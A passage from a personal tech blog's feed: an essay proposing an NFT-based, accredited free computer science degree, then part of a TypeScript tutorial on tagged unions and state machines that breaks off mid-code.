<p><a href="https://twitter.com/jrlgs?ref_src=twsrc%5Etfw" class="twitter-follow-button">Follow @jrlgs</a></p>
]]></content:encoded></item><item><title><![CDATA[Here's an idea: An open-source asynchronous blockchain-powered freely-available officially-recognized decentralized CS degree.]]></title><description><![CDATA[Before we begin.
I don't use buzzwords for buzzword's sake. Let me give you a run down of the argument in this essay.

I identify two purposes that an undergraduate-level computer science degree must at least satisfy: (1) ensure the completeness of t...]]></description><link>https://blog.jrlgs.dev/heres-an-idea-an-open-source-asynchronous-blockchain-powered-freely-available-officially-recognized-decentralized-cs-degree</link><guid isPermaLink="true">https://blog.jrlgs.dev/heres-an-idea-an-open-source-asynchronous-blockchain-powered-freely-available-officially-recognized-decentralized-cs-degree</guid><category><![CDATA[Blockchain]]></category><category><![CDATA[Web3]]></category><category><![CDATA[education]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[THW Web3]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Thu, 21 Apr 2022 10:33:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1648089488245/gYOC79Xw-.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-before-we-begin">Before we begin.</h1>
<p>I don't use buzzwords for buzzword's sake. Let me give you a run down of the argument in this essay.</p>
<ol>
<li><p>I identify two purposes that an undergraduate-level computer science degree must <em>at least</em> satisfy: (1) ensure the completeness of the education and (2)to foster critical thinking.</p>
</li>
<li><p>I identify three constraints that when considered together lead to a broadly unsatisfied real need for education. It must be (1) freely accessible, (2) from anywhere at any time (3) and officially recognized. </p>
</li>
<li><p>I propose that Blockchain technology. Particularly, by using smart contracts and NFTs. Make for an ideal venue for an accredited degree that satisfies those constrains and purposes. On a large scale. The only existing option I know of that satisfies the constrains suffers from scalability and other issues that can be solved for the most part by Blockchain technology.</p>
</li>
<li><p>I "open source" the idea and briefly lament the difficulty of materializing it.</p>
</li>
</ol>
<p>That's literally it. Let's entertain the idea for a little while, please.</p>
<h1 id="heading-preliminaries-open-source-cs-curriculum">Preliminaries: Open Source CS curriculum</h1>
<p>In case you don't already know about it. Check the <a target="_blank" href="https://github.com/ossu/computer-science">OSSU CS curriculum on github</a>. It is a learning path. Made up of mostly free resources. Covering about as much as you would learn by attending college. </p>
<p>What if we could take that approach to learning and make if official? Asynchronous, freely accessible and as decentralized as possible?</p>
<h1 id="heading-why-universities">Why universities?</h1>
<p>First. Let's go back and ask <em>why do universities even exist?</em> I know it is a weird question. And I am not being confrontational or dismissive of formal education. I myself have a ton of formal education. And I value my education incredibly high (even though I was unable to <em>finish</em> formalizing it... that's a story for another time :D)</p>
<p>I just think it is worth analyzing.</p>
<p>In as much as students are concerned, the best and most generous answer I can think of is "to make sure that the student's learning is complete enough". That's why you have a curriculum. That's why you have evaluations. </p>
<p>But make no mistake. There are other legitimate and not-easily-replaceable purposes universities fulfill. Like scientific research. And involving future scientists in the scientific community. And (at least in my country) supervising and regulating other educational institutions. As well as providing public services to the community and industry.</p>
<p>But here we are just concerned with the "getting a (undergraduate) degree" role that universities fulfill. Please keep that in mind.</p>
<blockquote>
<p>I could come up with a bunch of less generous and more perverse answers... have you read french philosopher Michel Foucault's <em>"discipline and punish"</em>?</p>
<p>Here's another perspective: Universities and educational institutions exists as a way in which societies as a whole make sure the individuals that make it up are productive. Kinda like a self-regulation mechanism. Like how your body has a bunch of mechanisms in place to make sure your neurons can function as they need to.</p>
</blockquote>
<p>But you can do all of that on the internet. We have automatic grading systems (for software-based assignments) and we have peer-grading systems. We may even be able to incentivize "open source" assignment reviews. We already do something like that with academic journals.</p>
<p>The last defense for body-present education is that you get to share ideas with your peers. To foster critical thinking. Something <em>indispensable</em>, they would add. And yeah. It is indispensable. But, believe it or not, reddit, twitter, and so, have legitimately benign uses. </p>
<p>And there's another route for teaching critical thinking. Without the risk of group-think and the echo-chamber effect. Philosophy, math, logic and the Humanities. Let's incorporate those in the curriculum!</p>
<p>...</p>
<h1 id="heading-the-completeness-and-critical-thinking-view-of-formal-education">The "completeness and critical thinking" view of formal education</h1>
<p>With all I discussed so far, let me enunciate what I think is the point of formal education. In the reduced context of "getting an undergraduate degree":</p>
<ul>
<li>To ensure that the student's learning is complete enough</li>
<li>To foster critical thinking</li>
</ul>
<p>Again, in as much as getting an undergraduate degree is concerned.</p>
<p>I will shamelessly call this the "completeness and critical thinking" view of formal education. And the rest of this writing concerns only this reduced view.</p>
<blockquote>
<p>Be mindful, I am claiming this. But it is definitely is open for discussion. In fact, I encourage it. But I have a purpose for "reducing" the view like this. Read on!</p>
</blockquote>
<h1 id="heading-but-why-even">But why even?</h1>
<p>If you are lucky enough to be american or from a western country you may not see much point on this. For example, public college-level education is free (or almost free) in my country (Mexico). Why would I want this work around? </p>
<p>Let me consider three objections:</p>
<ul>
<li>You can already get certifications, bootcamps, etc.</li>
<li>In many countries, college is free. </li>
<li>And we already have online degrees.</li>
</ul>
<p>The first one has two problems. First, it is not official. And while it is true that you don't <em>need</em> a degree. It certainly does help. Particularly outside the US. Also, there is a cultural shift towards <em>technical</em> training. Which invalidates somewhat the second purpose of our stated "completeness and critical thinking" view. So bootcamps won't quite fulfill those goals.</p>
<p>And a particularly US-flavored issue: while bootcamps are marketed as cheaper than college, most of them are still eye-wateringly expensive for most people. They certainly are for me. And I am your down south neighbor!</p>
<p>Let's now consider the second objection. While in many countries college is free, it is not the case that you can get free college from every country. Please read that again. And some free-college countries struggle to provide for everyone. Case in point, <a target="_blank" href="https://www.forbes.com.mx/unam-rechaza-a-9-de-cada-10-aspirantes-a-licenciatura/">my own country's biggest public university cannot accept but only 1 out of 10 aspirants</a> (the linked article is in Spanish).</p>
<p>Finally, the "available from everywhere" issue is somewhat solved by already-existent online official degrees. But it definitely does not solve the “accessible for everyone” issue. Why would I pay 20k usd to get an online degree when I can learn the same, with the same format, but without a paper that said I did so? Yet, the mere existence of these degrees shows that people do in fact value the <em>officialness</em> of the bloody diploma. Case in point, check out <a target="_blank" href="https://omscs.gatech.edu/sites/default/files/images/oms-report-final.pdf">Georgia tech’s report on the demand for, and incredible success, of its Online Masters in Science in Computer Science (OMSCS)</a></p>
<blockquote>
<p>Would I like the damn prestigious-university diploma? Of course! I would love to have that masters in computer science from Georgia tech. Does that make me somewhat of a hypocrite? Kinda... What do you want from me? I’m only human. Leave me alone! it’s Georgia-frickin-tech!</p>
<p>By the way. If you are feeling super generous… :D</p>
</blockquote>
<p>And even then. Those online degrees are not so much available to everyone. For example, <a target="_blank" href="https://www.coursera.org/about/terms">check Coursera's terms</a>. From <a target="_blank" href="https://blog.coursera.org/update-on-course-accessibility-for-students-in/">2014, if you wanted to get a certificate or degree through Coursera from Iran, Cuba, Sudan or Syria you would be out of luck, thanks to US sanctions</a>. Not to talk about the political and economic consequences of the current world affairs in Ukraine.</p>
<p>So none of the two objections quite hold. But I recognize that they are valid alternatives for some situations. Perhaps all you need is a bootcamp. Or you are self-taught like me. And that’s fine. </p>
<p>But we still have people that cannot take advantage of those. Either because they cannot afford to, or they cannot access due to political circumstances. Or because they would really benefit from an accredited degree. Thus the need for an officially-recognized, as-free-as-possible and everywhere-accessible degree.</p>
<blockquote>
<p>Therefore this is not a “bootcamps are crap” argument. I just think there is a genuine and, for the most part, unsatisfied need for what I am proposing. Read on!</p>
</blockquote>
<h1 id="heading-three-constrains">Three constrains</h1>
<p>So in addition to fulfilling the purposes I stated above. It must also satisfy some constrains:</p>
<ul>
<li>It must be freely accessible</li>
<li>From anywhere</li>
<li>It must be officially-recognized</li>
</ul>
<p>Ok, but...</p>
<h1 id="heading-the-last-objection">The last objection</h1>
<p>You may now flail your arms in the air, and say what you must reasonably be thinking. </p>
<blockquote>
<p>"Jorch, you naive-but-well-intentioned moron! There is no way in hell a university can offer an officially-recognized, tuition free, everywhere accessible <em>degree</em>."</p>
</blockquote>
<p>And you would be wrong.</p>
<p>Here, check the <a target="_blank" href="https://www.uopeople.edu/">University of the People's website</a>. An accredited degree-granting non-profit.</p>
<p>I just want to automatize and decentralize the affair as much as possible. In order to make it as accessible as possible to the people that really need it.</p>
<p>Right now, you have to apply like a traditional university. And while it is tuition-free. There are processing fees for things like exams. I mean, its a non-profit. It still has to maintain a ton of infrastructure. They make the best they can to waive the fees to those that need it. But still. </p>
<p>Enter Ethereum.</p>
<blockquote>
<p>Or Polygon, or Solana. If am allowed to vent about the ridiculous gas fees!</p>
</blockquote>
<h1 id="heading-a-non-investor-friendly-use-case-for-nfts">A non-investor friendly use case for NFTs</h1>
<p>How about this. You work through a set of open-source freely-available coursera-style self-paced peer-graded courses. Through a minimally-costly infrastructure-light platform. </p>
<p>Then you get a non-sellable, non-transferable NFT that records your success studying the materials. And have it automagically be linked to your Twitter/LinkedIn/GitHub accounts.</p>
<p>Have educational institutions build and assess the curriculum. And have publicly available smart contracts to handle all the verifications needed in an automatic, decentralized and transparent fashion. And have an US department of education-listed accrediting agency to accredit the program. The <a target="_blank" href="https://www.deac.org/">Distance Education Accrediting commision</a> already <a target="_blank" href="https://www.uopeople.edu/programs/cs/degrees/computer-science-bachelor-degree-2/faq/">accredits the University of the People</a></p>
<p>You can already leverage Youtube, social media and blogging platforms. And of course public blockchains like Ethereum.</p>
<p>Does this sound preposterous to you? NFTs can (and should in my opinion) be much more than "expensive jpgs". As some of my non-blockchain-friendly friends call them. </p>
<p>An <a target="_blank" href="https://ethereum.org/en/developers/docs/standards/tokens/erc-721/">NFT is just a <em>token</em> with information attached</a>, and stored permanently in a decentralized blockchain. There is nothing intrinsic to them that makes them investment assets. Its perfect for the purpose! </p>
<p>If you think otherwise, read <a target="_blank" href="https://vitalik.eth.limo/general/2022/01/26/soulbound.html">what Vitalik himself has to say about non-transferable "soulbound" NFTs</a>. You may also want to check out the <a target="_blank" href="https://github.com/ethereum/EIPs/issues/1238">ERC1238</a></p>
<p>In that same "soulbound" article's last section Vitalik laments how "money-centered" web3 is. Here, let me quote.</p>
<blockquote>
<p>"A common criticism of the "web3" space as it exists today is how money-oriented everything is. People celebrate the ownership, and outright waste, of large amounts of wealth, and this limits the appeal and the long-term sustainability of the culture that emerges around these items. There are of course important benefits that even financialized NFTs can provide, such as funding artists and charities that would otherwise go unrecognized. However, there are limits to that approach, and a lot of underexplored opportunity in trying to go beyond financialization. Making more items in the crypto space "soulbound" can be one path toward an alternative, where NFTs can represent much more of who you are and not just what you can afford. "</p>
</blockquote>
<p>I mean. The humanitarian rationale for crypto and blockchain's DeFi is giving equal and unrestricted access to banking to people that still lack access to financial services. Check section 4 of the <a target="_blank" href="https://www.oecd.org/daf/fin/financial-markets/Why-Decentralised-Finance-DeFi-Matters-and-the-Policy-Implications.pdf">report on decentralized finance by the Organization for Economic Cooperation and Development (OECD)</a>.</p>
<p>Lets do the same with education.</p>
<blockquote>
<p>For what is worth I do like the idea of investing in crypto and defi. If I had more money to invest, that is... </p>
<p>(pro tip: ape-ing on Pancakeswap is NOT a good idea. Ask me how I know!)</p>
</blockquote>
<h1 id="heading-do-you-like-the-idea-but-how-even">Do you like the idea? But how even?</h1>
<p>I recognize that this kind of initiative requires a strong economic <em>drive</em>. And a lot of good will. Something we sorely lack right now. The world is currently a very sad place. </p>
<p>But I can hope, right? </p>
<p>Are you a tech-savy entrepeneur and want to steal the shit out of this idea?</p>
<p>Please... Go ahead... For whatever it may be worth, I am now officially open-sourcing this idea. MIT license, put me in the credits, whatever. I don't care. </p>
<blockquote>
<p>Even though you can’t even copyright an idea. But hey, It sounds noble!</p>
</blockquote>
<p>Heck. Perhaps somebody else already came up with this idea. In that case, kudos!</p>
<p>I would just love for this to come to fruition! And see a world with more equal opportunities. With better, free, asynchronous access to official education (and get a cs degree myself, why not!).</p>
<p>Because I truly believe that would lead to a more creative world. </p>
<p>And you know me, that's what I, <em>in my own selfishness</em>, want.</p>
<blockquote>
<p>That being said. If you want to use the idea and need someone that <em>may know a thing or two about creativity</em>... I like money.</p>
</blockquote>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>Here's a lesson on creativity. On how it can be used for good. And to save ourselves.</p>
<ul>
<li>Creativity requires being <em>willing</em> and <em>able</em> to entertain the wildest of ideas.</li>
<li>But being intelligent enough to avoid being enamored with them.</li>
</ul>
<p>I am 100% OK with this idea being complete and utter crap. </p>
<p>Whatever. I came up with it in like, 10 or 15 minutes?</p>
<p>That's only "10%" of what creativity is, anyways. </p>
<p>The other "10%" is hard work. Wait, what? </p>
<p><em>What's with that</em>, I hear you ask?</p>
<p>Oh I wonder, what do </p>
<p><em>you</em>, and <em>others</em> </p>
<p>think...</p>
<p>;)</p>
<hr />
<p>Hopefully you found this essay thought provoking at least. Please consider supporting my writing with a donation.</p>
<p><a href="https://www.buymeacoffee.com/jorchRL" target="_blank"><img src="https://img.buymeacoffee.com/button-api/?text=Buy me a Coffee :3&amp;emoji=&amp;slug=jorchRL&amp;button_colour=40DCA5&amp;font_colour=ffffff&amp;font_family=Comic&amp;outline_colour=000000&amp;coffee_colour=FFDD00" /></a></p>
<div class="hn-embed-widget" id="crypto-footer"></div>]]></content:encoded></item><item><title><![CDATA[Thinking with types: building a Finite State Machine with TypeScript to drive an app's UI]]></title><description><![CDATA[In my previous post I mentioned that I wanted to model my pokedex's interface interaction as a state machine.
I wanted implement a state machine with TypeScript to handle that for me. So I figured that I would share what I learned!
First, why?
The fu...]]></description><link>https://blog.jrlgs.dev/thinking-with-types-building-a-fsm-for-my-pokedexs-ui</link><guid isPermaLink="true">https://blog.jrlgs.dev/thinking-with-types-building-a-fsm-for-my-pokedexs-ui</guid><category><![CDATA[TypeScript]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Wed, 13 Apr 2022 02:25:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1649816565468/lwWVqMyJQ.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In my previous post I mentioned that I wanted to model my pokedex's interface interaction as a state machine.</p>
<p>I wanted implement a state machine with TypeScript to handle that for me. So I figured that I would share what I learned!</p>
<h1 id="heading-first-why">First, why?</h1>
<p>The functionality of my interface is completely determined at any point in time by the state the interface is in. Or rather, both the interface and the functionality are determined by the state.</p>
<p>So the obvious solution is to use a state machine to drive the functionality with some assurances towards correctness. &lt;- This is important.</p>
<p>One of my desigin goals is to make it a <em>seamless</em> experience. So having correctness assurances helps with that. </p>
<p>First lets describe what is a state machine.</p>
<blockquote>
<p>Warning, maths ahead.</p>
</blockquote>
<hr />
<h3 id="heading-a-mathematical-tangent-skippable">A mathematical tangent (skippable)</h3>
<p>A finite state machine, also called a <em>finite automata</em>. Has a finite set \(S\) of possible internal states along with a finite set of allowed inputs from some alphabet \(A\) of symbols.</p>
<p>We can represent the behaviour of the automata as a function:
$$
\delta : A \times S \rightarrow S
$$
Which just means that the machine will take an input \(a_i \in A\) and given an internal state \(s_i \in S\) will return a new state:
$$
\delta(a_i, s_i) = s_n
$$
Thats it. Does it seem familiar? This is just a reducer! </p>
<hr />
<h3 id="heading-end-of-tangent-ok-you-can-stop-skipping-now">End of tangent (ok, you can stop skipping now)</h3>
<p>Let's reword what I said so that y'all skippers get the gist of it. A state machine is a mathematical entity that can "have" some defined state at some point in time. And can receive an input. </p>
<p>The next state of the machine is deterministically given by both the current state and the input:</p>
<p>$$
S_2 = input+S_1
$$</p>
<p>Again. That's just a reducer.</p>
<p>You may be wondering. Why go through the trouble? Why not just use redux or something like that?</p>
<p>The answer is that if we implement <em>just the machine we need</em>, we can <em>prove</em> (as in a mathematical proof) that it will behave correctly. No testing necessary. (even though writing unit tests for it is still recommended)</p>
<p>And if we are careful with how we implement it, using types, we can also make it so the we cannot break it. </p>
<p>Even if we tried!</p>
<blockquote>
<p>The obligatory disclaimer: While the world of maths is crisp and perfect, the world of computers is anything but. We can make assurances about the <em>model</em>. But there is always the possibility that, given the internal workings of TypeScript, the JavaScript interpreter, or my own silliness, the whole thing can just break.</p>
<p>If anything, this can be a very good excuse for learning about programming with types!</p>
</blockquote>
<h2 id="heading-so-whats-the-plan">So what's the plan?</h2>
<p>We can take two broad approaches to modeling a state machine with code.</p>
<ol>
<li>Check the value of the input variable and use it to differentially choose one preexisting function for the behaviour (represented as the state). With a <code>switch</code> statement, for example.</li>
<li>Hold a reference to the behaviour. And let other behaviour change the reference.</li>
</ol>
<p>With option 2 we cannot run behaviour that is not allowed for the current state. As the behaviour reference is the state. While that is possible with option 1. </p>
<p>We can implement option 2 either the OOP way, using the strategy pattern with objects encapsulating behaviour. Or the FP way, using that same pattern, but with typed functions. I would choose typed functions, of course :D</p>
<p>However. There is a third way of modeling the state machine. Using algebraic data types (ADTs) to constrain the behaviour of an object to a fininte set of possible behaviors. And <em>then</em> using a <code>switch</code> statement.</p>
<p>Unfortunately you cannot do this with TypeScript out of the box. So we are gonna be implementing a tagged union ADT to achieve this.</p>
<p>Then, I will share an implementation in TypeScript. </p>
<h1 id="heading-the-tagged-union-type">The <em>Tagged Union</em> type</h1>
<p>I will need to implement a type that is not quite supported by default in typescript. The sum type, also known as tagged union and discriminated union. Or just <em>union</em> type. I will use those interchangeably.</p>
<p>You may be wondering that there is already a sum type in TypeScript! </p>
<p>Well, yes. But also not quite.</p>
<h2 id="heading-a-ramble-about-typescript">A ramble about TypeScript</h2>
<p>In TypeScript, you have both <em>union</em> and <em>intersection</em> types. But these don't work as one may expect (from type theory). </p>
<p>The first thing to note is that TypeScript uses <em>structural typing</em>. Which means that ultimately, the only thing that matters is the <em>shape</em> of the object which you are typing (for non-primitive types)</p>
<blockquote>
<p>In contrast to *nominal* typing in class-based object oriented languages, like C++</p>
</blockquote>
<p>So in the following example, both types are interchangeable.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Dog = {name:<span class="hljs-built_in">string</span>, breed: <span class="hljs-built_in">string</span>}
<span class="hljs-keyword">type</span> PedigreePet = {name:<span class="hljs-built_in">string</span>, breed:<span class="hljs-built_in">string</span>}
<span class="hljs-comment">// Dog === PedigreePet</span>
</code></pre>
<blockquote>
<p>Those two types would not be equivalent in C++, because of nominal typing.</p>
</blockquote>
<p>How the union type works in typescript is constrained by this requirement. Let's see some examples. Consider the following union type <code>Pet</code>.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Dog = { name: <span class="hljs-built_in">string</span>, breed: <span class="hljs-built_in">string</span>}
<span class="hljs-keyword">type</span> Cat = { name: <span class="hljs-built_in">string</span>, favoriteFood: <span class="hljs-built_in">string</span>}

<span class="hljs-keyword">type</span> Pet = Dog | Cat
</code></pre>
<p>You may think of the type <code>Pet</code> as "either a <code>Dog</code> or a <code>Cat</code>". But, do you think <code>pet.breed</code> is a valid property? </p>
<p>A function that takes a <code>Pet</code> cannot know if the argument is a cat or a dog:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> rename = <span class="hljs-function">(<span class="hljs-params">pet: Pet</span>) =&gt;</span> {
    <span class="hljs-comment">// This will make TypeScript complain!!!</span>
    pet.breed = <span class="hljs-string">"expensive breed you can't afford"</span>
    <span class="hljs-comment">// But this is ok</span>
    pet.name = <span class="hljs-string">"bob"</span>
}
</code></pre>
<p>So a more accurate way of thinking would be. "<code>Pet</code> is something that could pass as either a <code>Dog</code> or a <code>Cat</code>, but must be general enough to be both".  So the union type is the type of values that are valid enough as any of either types.</p>
<p>But if we take the <em>intersection</em> type of <code>cat</code> and <code>dog</code> we get a different behaviour.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> PetInt = Dog &amp; Cat 
<span class="hljs-comment">// which is the same as</span>
<span class="hljs-keyword">type</span> PetInt = {name: <span class="hljs-built_in">string</span>, breed: <span class="hljs-built_in">string</span>, favoriteFood:<span class="hljs-built_in">string</span>}
</code></pre>
<p>Which is quite uncomfortable to process right? It seems like the names "union" and "intersection" should be flipped! But the good people at microsoft have very good reasons to have them behave like this.</p>
<p>The <em>union</em> type as it works on TypeScript means that if you take the set of all possible values for all the types you are considering (that is, the set theoretical union), then you can only <em>talk</em> about the common properties. </p>
<p>This is because if you have a function with the signature</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> namePet = <span class="hljs-function">(<span class="hljs-params">pet: Pet</span>) =&gt;</span> Pet
</code></pre>
<p>As in the example above, that would mean the same as </p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> namePet = <span class="hljs-function">(<span class="hljs-params">pet: {name:<span class="hljs-built_in">string</span>}</span>) =&gt;</span> {name:<span class="hljs-built_in">string</span>}
</code></pre>
<p>That is, you have to be able to pass any object that <em>could be</em> either a <code>Dog</code> or a <code>Cat</code>. So you have to keep only the common elements. You loose some information about the original type when you use <code>Pet</code>. The function <code>namePet</code> cannot know whether the pet you pass is a cat or a dog.</p>
<p>But all that is just a JavaScript quirk! Because of how its object system works. And an artifact of TypeScript using structural typing.</p>
<h2 id="heading-understanding-union-types-warning-haskell-ahead">Understanding Union types (warning, Haskell ahead!)</h2>
<p>But the <em>type theoretical</em> union types are a bit different in how they behave. Although the concept is the same. </p>
<p>In order to explore the union type, we will need to switch to Haskell. Don't worry, the syntax is quite easy, so you can follow.</p>
<p>In Haskell, a <em>discriminated (tagged) union</em> type looks like this.</p>
<pre><code class="lang-haskell">data MyBool = Yes | No
</code></pre>
<p>Here we are defining a new type <code>MyBool</code>. And we are saying that any value of type <code>MyBool</code> must be either a <code>Yes</code> or a <code>No</code>. Those two are types, not values. (Although the way they are expressed in Haskell here means that they are single-value types...)</p>
<p>But nothing stops us from doing this:</p>
<pre><code class="lang-haskell">data MyBoolZ = Yes | No | Z
</code></pre>
<p>And any value of type <code>MyBoolZ</code> must be either a <code>Yes</code>, a <code>No</code> , or a <code>Z</code>. And any function that accepts a <code>MyBoolZ</code> must handle all possible cases.</p>
<pre><code class="lang-haskell">checkIfBool :: MyBoolZ -&gt; Bool
checkIfBool x = case x of
     Yes -&gt; True
    No -&gt; True
    Z -&gt; False
</code></pre>
<blockquote>
<p>A note: this kind of check is kind of pointless in Haskell. And seems iffy to me. You really shouldn't need checking types in Haskell. </p>
</blockquote>
<p>Here, the function <code>checkIfBool</code> takes a value <code>x</code> of type <code>BoolZ</code> and returns true if it is either <code>Yes</code> or <code>No</code>. But returns false otherwise.</p>
<p>So, for the pet example, we can do something like this:</p>
<pre><code class="lang-haskell">data Pet = Cat | Dog

checkIfCat :: Pet -&gt; Bool
checkIfCat pet = case pet of
    Cat -&gt; True
    Dog -&gt; False
</code></pre>
<p>Which in haskell means that any value of type <code>Pet</code> must be <em>either</em> a <code>dog</code> or a <code>cat</code>. But if it is a <code>Dog</code>, then it is a fully fledged <code>Dog</code>. And so for <code>Cat</code>. That is, after receiving <code>Pet</code>, a function can <em>know</em> if it is a <code>Dog</code> or a <code>Cat</code>. </p>
<p>You cannot do this in TypeScript. As <code>Pet</code> looses information. But in Haskell, the union is <em>tagged</em>, in the sense that any <code>Pet</code> carries information about whether it is a <code>Dog</code> or a <code>Cat</code>.</p>
<p>Let's fix that!</p>
<h2 id="heading-implementing-a-tagged-union-in-typescript">Implementing a Tagged Union in TypeScript</h2>
<p>The good news is that we can, without much effort, implement the union type from Haskell in TypeScript. </p>
<p>What we are implementing is an <em>algebraic data type</em> which means that our type should behave accordingly to some particular algebraic rules or properties. Right now the only property we care about is that each type is tagged. So the sum type doesn't loose information when passing into a function.</p>
<blockquote>
<p>If you are curious, we are implementing something called the *coproduct* in the category of types. But it is not super important to understand that. As not even Haskell is mathematically rigorous enough for that. The only thing you probably should know is that it means more or less the same as the set theoretical discriminated union. If two sets \(A\) and \(B\) both have the element \(x\), then the discriminated union \(A \coprod B\) has the elements \((x,a)\) and \((x,b)\).</p>
</blockquote>
<p>We just need to make sure that we can always ask <code>Pet</code> for its underlying type. That means, we tag a <code>Pet</code> as either a <code>Dog</code> or a <code>Cat</code>.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Dog = {<span class="hljs-keyword">type</span>: <span class="hljs-string">"dog"</span>, name: <span class="hljs-built_in">string</span>, breed: <span class="hljs-built_in">string</span>}
<span class="hljs-keyword">type</span> Cat = {<span class="hljs-keyword">type</span>: <span class="hljs-string">"cat"</span>, name: <span class="hljs-built_in">string</span>, favoriteFood: <span class="hljs-built_in">string</span>}
</code></pre>
<p>Now <code>Pet</code> would look like this:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Pet = Dog | Cat
<span class="hljs-comment">// means the same as</span>
<span class="hljs-keyword">type</span> Pet = {<span class="hljs-keyword">type</span>: <span class="hljs-string">"dog"</span>|<span class="hljs-string">"cat"</span>, name: <span class="hljs-built_in">string</span>}
</code></pre>
<blockquote>
<p>Really, it's that simple...</p>
</blockquote>
<p>The words <code>"dog"</code> and <code>"cat"</code> are not strings. They are just the names for two singleton types (which can only have one single value). </p>
<p>Please take a moment to think about what this means. A union type in type theory is just a type that can have multiple representations. Not one that can pass as either one of them, as is the default in TypeScript. Haskell by default uses this type theoretical union type.</p>
<p>Hence, the equivalence with the natural language "or" (and the logical or).  A pet is a cat <em>or</em> a dog.</p>
<blockquote>
<p>If you are curious again, I can make this claim thanks to an important result in logic called the Curry-Howard correspondence. </p>
</blockquote>
<h3 id="heading-example-a-recursive-binary-tree">Example: A recursive binary tree.</h3>
<p>Let's see an example on how to use tagged unions in Haskell. Consider the following <code>MyTree</code> type</p>
<pre><code class="lang-haskell">data MyTree a = MyEmptyNode
              | MyTree a (MyTree a) (MyTree a)
</code></pre>
<p>Which is a (recursive) binary tree data structure! And here may be the same implementation in "pseudo-typescript"</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// NOT REAL TYPESCRIPT!</span>
<span class="hljs-keyword">type</span> MyEmptyNode = {}
<span class="hljs-keyword">type</span> MyFilledNode&lt;T&gt; = {value: T, left?: Tree&lt;T&gt;, right?: Tree&lt;T&gt; }

<span class="hljs-keyword">type</span> MyTree&lt;T&gt; = MyEmptyNode | MyFilledNode
</code></pre>
<p>But note that the "|" i am using in this hypothetical example is the tagged union from Haskell which TypeScript doesn't have. If you code this in your app, you would have a very empty binary tree.</p>
<p>So lets implement the binary tree in real TypeScript now</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> TaggedNode&lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = {tag: T}

<span class="hljs-keyword">type</span> MyEmptyNode = TaggedNode&lt;<span class="hljs-string">"Empty"</span>&gt; &amp; {}
<span class="hljs-keyword">type</span> MyFilledNode&lt;V&gt; = TaggedNode&lt;<span class="hljs-string">"Filled"</span>&gt; &amp; {
    value: V, 
    left: MyTree&lt;V&gt; | MyEmptyNode, 
    right: MyTree&lt;V&gt; | MyEmptyNode
}


<span class="hljs-keyword">type</span> MyTree&lt;V&gt; = MyEmptyNode | MyFilledNode&lt;V&gt;
</code></pre>
<p>Now the "|" will behave as in Haskell. Here's an example:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> jsonifiableTree : MyTree&lt;<span class="hljs-built_in">number</span>&gt; = {
    tag: <span class="hljs-string">"Filled"</span>,
    value: <span class="hljs-number">10</span>,
    left: {
        tag: <span class="hljs-string">"Empty"</span>
    },
    right : {
        tag: <span class="hljs-string">"Filled"</span>,
        value: <span class="hljs-number">5</span>,
        left: {
            tag:<span class="hljs-string">"Empty"</span>
        },
        right: {
            tag: <span class="hljs-string">"Empty"</span>
        }
    }
}
</code></pre>
<p>Now you can send fully typed binary trees over HTTP! XD</p>
<h2 id="heading-representing-states-with-types">Representing states with types</h2>
<p>Let's use tagged unions to represent the type of states, Actions and build a simple finite state machine. Let's consider an example. The AI for an enemy NPC in a game like Zelda.</p>
<h3 id="heading-state-types">State Types</h3>
<p>It has several possible states: </p>
<ul>
<li>Wander</li>
<li>Attack</li>
<li>RunAway</li>
</ul>
<p>And we would like to have it so that each state can carry some info that we can use to program the NPC's behaviour. I'll use intersection types for that.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> TaggedState&lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = {tag:T}

<span class="hljs-keyword">type</span> Wander = TaggedState&lt;<span class="hljs-string">"Wander"</span>&gt; &amp; {
    isAsleep: <span class="hljs-built_in">boolean</span>
}
<span class="hljs-keyword">type</span> Attack = TaggedState&lt;<span class="hljs-string">"Attack"</span>&gt; &amp; {
    enraged: <span class="hljs-built_in">boolean</span>, 
    attackPoints: <span class="hljs-built_in">number</span>
}
<span class="hljs-keyword">type</span> RunAway = TaggedState&lt;<span class="hljs-string">"RunAway"</span>&gt; &amp; {
    isTired: <span class="hljs-built_in">boolean</span>,
}
<span class="hljs-comment">// We can attack information to each state to drive the behaviour in the NPC's script</span>

<span class="hljs-keyword">type</span> NPCState = Wander | Attack | RunAway
</code></pre>
<h3 id="heading-action-types">Action Types</h3>
<p>And several "actions":</p>
<ul>
<li>SeePlayer:  Wander -&gt; Attack</li>
<li>GetHit: Attack -&gt; RunAway, Wander -&gt; RunAway</li>
<li>LoosePlayer: RunAway -&gt; Wander</li>
</ul>
<pre><code class="lang-TypeScript"><span class="hljs-keyword">type</span> TaggedAction&lt;A <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = {tag:A}

<span class="hljs-keyword">type</span> SeePlayer = TaggedAction&lt;<span class="hljs-string">"SeePlayer"</span>&gt; &amp; {
    distance: <span class="hljs-string">"far"</span> | <span class="hljs-string">"mid"</span> | <span class="hljs-string">"near"</span>
}
